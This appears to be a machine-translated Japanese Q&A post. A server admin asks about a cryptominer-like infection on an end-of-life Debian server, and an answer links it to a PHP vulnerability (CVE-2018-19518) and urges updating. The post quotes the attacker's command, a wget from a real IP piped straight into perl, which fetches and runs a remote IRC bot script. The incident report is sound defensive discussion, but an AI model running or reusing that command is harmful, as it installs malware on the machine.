ここ数週間、私たちのサーバーのCPU負荷が非常に高いことを確認し、htopをチェックすると、多くの[sync_supers]プロセスが100%で実行されることがわかりました。今日、私は元のコマンド呼び出しがまだhtopにあることをすぐに見つけました。次の図は、スクリプトを実行するための呼び出しと結果の[sync_supers]プロセスを示しています。
その行を読むと、Base64でエンコードされた文字列を使用して呼び出し内容を隠すことができます。
wget -qO - http://185.234.218.248/bt2.txt|perl
ダウンロードするファイルは、IRCサーバーに接続するPerlスクリプトです。しかし、私はそれを少し見ましたが(Perlは知りません)、CPUを台無しにする以外に何をするのかわかりません。それはビットコイン農業や他のものです。このハッキングの実行方法についての情報を見つけようとしましたが、これまでのどの緩和策も見つかりませんでした。私が得た最も近いのは、Apacheおよび以前のカーネルバージョンの脆弱性が言及されていますが、詳細やリンクはありません。
残念ながら、サーバーのアップデートはオペレーティングシステムの寿命が過ぎたため、実際には実用的なオプションではありません。新しいサーバーを購入し、すべてのソフトウェアとウェブサイトをコピーする方が簡単です。もともとサーバーを最新の状態に保つことができなかったのは私のせいで、十分に認めています。
オペレーティングシステムのバージョン:
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
攻撃のリソース、IPアドレスを使用せずに攻撃を停止する方法などへのリンクが必要です。現在の最良の解決策は、wgetの名前を別のものに変更することです。 www-dataを実行しているすべての[sync_supers]を終了するために毎分実行されるスクリプトを書くことを考えましたが、killallは実行時にプロセスを見つけることができず、Perlスクリプトを見るとプロセス名を変更できます。
答え1
コメントをいただいたおかげで、JdeBPが使用されている脆弱性を教えてくれました。CVE-2018-19518、PHPのバグ#76428。この脆弱性を解決するための即時の解決策は、PHPを更新することです。
つまり、サーバーを信頼していないというすべての説明が機能し、www-dataユーザーでのみ実行されていることがわかりました。そのユーザーはhttpサーバー上のファイルにアクセスできないため、問題が発生する可能性があります。そのユーザーから私が見つけることができない他のタスクを実行します。また、とにかく私のサーバー上のデータが非常に不足しています。
教訓は、痛みを伴うことがあり、時には障害が発生しても、常にサーバー、オペレーティングシステム、およびソフトウェアを最新の状態に保つ必要があることです。